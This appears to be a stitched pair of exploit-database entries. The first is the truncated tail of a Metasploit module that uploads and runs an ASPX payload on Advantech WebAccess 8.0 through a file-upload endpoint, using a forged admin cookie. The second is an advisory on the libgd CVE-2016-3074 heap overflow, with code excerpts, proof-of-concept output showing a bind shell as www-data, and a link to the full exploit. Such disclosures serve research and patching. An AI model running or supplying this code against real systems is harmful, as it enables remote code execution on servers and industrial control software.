        ['Advantech WebAccess 8.0', {}]
      ],
      'Privileged'     => false,
      'DisclosureDate' => "Feb 5 2016",
      'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [true, 'The base path of Advantech WebAccess 8.0', '/'])
      ], self.class)
  end

  def version_match(data)
    # Software Build : 8.0-2015.08.15
    fingerprint = data.match(/Software\sBuild\s:\s(?<version>\d{1,2}\.\d{1,2})-(?<year>\d{4})\.(?<month>\d{1,2})\.(?<day>\d{1,2})/)
    fingerprint['version'] unless fingerprint.nil?
  end

  def vuln_version?
    res = send_request_cgi(
      'method'   => 'GET',
      'uri'      => target_uri.to_s
    )

    if res.redirect?
      res = send_request_cgi(
        'method' => 'GET',
        'uri'    => normalize_uri(res.redirection)
      )
    end

    ver = res && res.body ? version_match(res.body) : nil
    true ? Gem::Version.new(ver) == Gem::Version.new('8.0') : false
  end

  def check
    if vuln_version?
      Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Safe
    end
  end

  def upload_file?(filename, file)
    uri = normalize_uri(target_uri, 'WADashboard', 'ajax', 'UploadAjaxAction.aspx')

    data = Rex::MIME::Message.new
    data.add_part('uploadFile', nil, nil, 'form-data; name="actionName"')
    data.add_part(file, nil, nil, "form-data; name=\"file\"; filename=\"#{filename}\"")

    res = send_request_cgi(
      'method'  => 'POST',
      'uri'     => uri,
      'cookie'  => "waUserName=admin",
      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
      'data'    => data.to_s
    )
    true ? res && res.code == 200 && res.body.include?("{\"resStatus\":\"0\",\"resString\":\"\/#{filename}\"}") : false
  end

  def exec_file?(filename)
    uri = normalize_uri(target_uri)
    res = send_request_cgi(
      'method'  => 'GET',
      'uri'     => uri
    )

    uri = normalize_uri(target_uri, 'WADashboard', filename)
    res = send_request_cgi(
      'method'   => 'GET',
      'uri'      => uri,
      'cookie'   => res.get_cookies
    )
    true ? res && res.code == 200 : false
  end

  def exploit
    unless vuln_version?
      print_status("#{peer} - Cannot reliably check exploitability.")
      return
    end
    filename = "#{Rex::Text.rand_text_alpha(5)}.aspx"
    filedata = Msf::Util::EXE.to_exe_aspx(generate_payload_exe)

    print_status("#{peer} - Uploading malicious file...")
    return unless upload_file?(filename, filedata)

    print_status("#{peer} - Executing #{filename}...")
    return unless exec_file?(filename)
  end
end
            
Overview
========

libgd [1] is an open-source image library.  It is perhaps primarily used
by the PHP project.  It has been bundled with the default installation
of PHP since version 4.3 [2].

A signedness vulnerability (CVE-2016-3074) exist in libgd 2.1.1 which
may result in a heap overflow when processing compressed gd2 data.


Details
=======

4 bytes representing the chunk index size is stored in a signed integer,
chunkIdx[i].size, by `gdGetInt()' during the parsing of GD2 headers:

libgd-2.1.1/src/gd_gd2.c:
,----
|  53 typedef struct {
|  54     int offset;
|  55     int size;
|  56 }
|  57 t_chunk_info;
`----


libgd-2.1.1/src/gd_gd2.c:
,----
|  65 static int
|  66 _gd2GetHeader (gdIOCtxPtr in, int *sx, int *sy,
|  67                int *cs, int *vers, int *fmt, int *ncx, int *ncy,
|  68                t_chunk_info ** chunkIdx)
|  69 {
| ...
|  73     t_chunk_info *cidx;
| ...
| 155     if (gd2_compressed (*fmt)) {
| ...
| 163         for (i = 0; i < nc; i++) {
| ...
| 167             if (gdGetInt (&cidx[i].size, in) != 1) {
| 168                 goto fail2;
| 169             };
| 170         };
| 171         *chunkIdx = cidx;
| 172     };
| ...
| 181 }
`----


`gdImageCreateFromGd2Ctx()' and `gdImageCreateFromGd2PartCtx()' then
allocates memory for the compressed data based on the value of the
largest chunk size:

libgd-2.1.1/src/gd_gd2.c:
,----
| 371|637     if (gd2_compressed (fmt)) {
| 372|638         /* Find the maximum compressed chunk size. */
| 373|639         compMax = 0;
| 374|640         for (i = 0; (i < nc); i++) {
| 375|641             if (chunkIdx[i].size > compMax) {
| 376|642                 compMax = chunkIdx[i].size;
| 377|643             };
| 378|644         };
| 379|645         compMax++;
| ...|...
| 387|656         compBuf = gdCalloc (compMax, 1);
| ...|...
| 393|661     };
`----


A size of <= 0 results in `compMax' retaining its initial value during
the loop, followed by it being incremented to 1.  Since `compMax' is
used as the nmemb for `gdCalloc()', this leads to a 1*1 byte allocation
for `compBuf'.

This is followed by compressed data being read to `compBuf' based on the
current (potentially negative) chunk size:

libgd-2.1.1/src/gd_gd2.c:
,----
| 339 BGD_DECLARE(gdImagePtr) gdImageCreateFromGd2Ctx (gdIOCtxPtr in)
| 340 {
| ...
| 413         if (gd2_compressed (fmt)) {
| 414
| 415             chunkLen = chunkMax;
| 416
| 417             if (!_gd2ReadChunk (chunkIdx[chunkNum].offset,
| 418                                 compBuf,
| 419                                 chunkIdx[chunkNum].size,
| 420                                 (char *) chunkBuf, &chunkLen, in)) {
| 421                 GD2_DBG (printf ("Error reading comproessed chunk\n"));
| 422                 goto fail;
| 423             };
| 424
| 425             chunkPos = 0;
| 426         };
| ...
| 501 }
`----


libgd-2.1.1/src/gd_gd2.c:
,----
| 585 BGD_DECLARE(gdImagePtr) gdImageCreateFromGd2PartCtx (gdIOCtx * in, int srcx, int srcy, int w, int h)
| 586 {
| ...
| 713         if (!gd2_compressed (fmt)) {
| ...
| 731         } else {
| 732             chunkNum = cx + cy * ncx;
| 733
| 734             chunkLen = chunkMax;
| 735             if (!_gd2ReadChunk (chunkIdx[chunkNum].offset,
| 736                                 compBuf,
| 737                                 chunkIdx[chunkNum].size,
| 738                                 (char *) chunkBuf, &chunkLen, in)) {
| 739                 printf ("Error reading comproessed chunk\n");
| 740                 goto fail2;
| 741             };
| ...
| 746         };
| ...
| 815 }
`----


The size is subsequently interpreted as a size_t by `fread()' or
`memcpy()', depending on how the image is read:

libgd-2.1.1/src/gd_gd2.c:
,----
| 221 static int
| 222 _gd2ReadChunk (int offset, char *compBuf, int compSize, char *chunkBuf,
| 223            uLongf * chunkLen, gdIOCtx * in)
| 224 {
| ...
| 236     if (gdGetBuf (compBuf, compSize, in) != compSize) {
| 237         return FALSE;
| 238     };
| ...
| 251 }
`----

libgd-2.1.1/src/gd_io.c:
,----
| 211 int gdGetBuf(void *buf, int size, gdIOCtx *ctx)
| 212 {
| 213     return (ctx->getBuf)(ctx, buf, size);
| 214 }
`----


For file contexts:

libgd-2.1.1/src/gd_io_file.c:
,----
|  52 BGD_DECLARE(gdIOCtx *) gdNewFileCtx(FILE *f)
|  53 {
| ...
|  67     ctx->ctx.getBuf = fileGetbuf;
| ...
|  76 }
| ...
|  92 static int fileGetbuf(gdIOCtx *ctx, void *buf, int size)
|  93 {
|  94     fileIOCtx *fctx;
|  95     fctx = (fileIOCtx *)ctx;
|  96
|  97     return (fread(buf, 1, size, fctx->f));
|  98 }
`----


And for dynamic contexts:

libgd-2.1.1/src/gd_io_dp.c:
,----
|  74 BGD_DECLARE(gdIOCtx *) gdNewDynamicCtxEx(int initialSize, void *data, int freeOKFlag)
|  75 {
| ...
|  95     ctx->ctx.getBuf = dynamicGetbuf;
| ...
| 104 }
| ...
| 256 static int dynamicGetbuf(gdIOCtxPtr ctx, void *buf, int len)
| 257 {
| ...
| 280     memcpy(buf, (void *) ((char *)dp->data + dp->pos), rlen);
| ...
| 284 }
`----


PoC
===

Against Ubuntu 15.10 amd64 running nginx with php5-fpm and php5-gd [3]:

,----
| $ python exploit.py --bind-port 5555 http://1.2.3.4/upload.php
| [*] this may take a while
| [*] offset 912 of 10000...
| [+] connected to 1.2.3.4:5555
| id
| uid=33(www-data) gid=33(www-data) groups=33(www-data)
| 
| uname -a
| Linux wily64 4.2.0-35-generic #40-Ubuntu SMP Tue Mar 15 22:15:45 UTC
| 2016 x86_64 x86_64 x86_64 GNU/Linux
| 
| dpkg -l|grep -E "php5-(fpm|gd)"
| ii  php5-fpm       5.6.11+dfsg-1ubuntu3.1 ...
| ii  php5-gd        5.6.11+dfsg-1ubuntu3.1 ...
| 
| cat upload.php
| <?php
|     imagecreatefromgd2($_FILES["file"]["tmp_name"]);
| ?>
`----


Solution
========

This bug has been fixed in git HEAD [4].

Full Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39736.zip

Footnotes
_________

[1] [http://libgd.org/]
[2] [https://en.wikipedia.org/wiki/Libgd]
[3] [https://github.com/dyntopia/exploits/tree/master/CVE-2016-3074]
[4] [https://github.com/libgd/libgd/commit/2bb97f407c1145c850416a3bfbcc8cf124e68a19]